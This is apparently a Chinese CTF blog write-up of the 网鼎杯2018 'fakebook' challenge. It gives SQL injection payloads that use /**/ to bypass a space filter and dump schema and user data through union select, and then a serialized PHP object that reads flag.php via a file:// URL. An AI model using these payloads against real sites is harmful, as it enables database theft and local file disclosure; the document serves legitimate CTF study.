姿势
登录后发现传参,构造字符型参数,回显error
判断为数字型注入,查看注入点数目:
由上下两张图可知注入点数目为4
查库名:
经测试可知对空格进行过滤,可通过/**/或+绕过,但程序也过滤了+,因此使用前者
no改为0的原因是使程序报错,从而回显库名fakebook
爆表名:
no=0/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from information_schema.tables/**/where/**/table_schema='fakebook'),3,4--+
爆users表的列名:
no=0/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from information_schema.columns/**/where/**/table_name='users'),3,4--+
爆data列的数据:
no=0/**/union/**/select/**/1,(select/**/group_concat(data)/**/from/**/users),3,4--+
构造POC使其反序列化执行构造函数:
no=0/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
- 由于blog属性在第四位,因此构造POC时需注意顺序
- 将https://blog.csdn.net/2301_77485708?spm=1000.2115.3001.5343改为file:///var/www/html/flag.php,使其读取flag.php
执行成功:
查看源码:
将其解码即可得到flag
总结
以上为[CTF/网络安全] fakebook(网鼎杯2018)解题详析,考察SQL注入、序列化与反序列化等知识点。
我是秋说,我们下次见。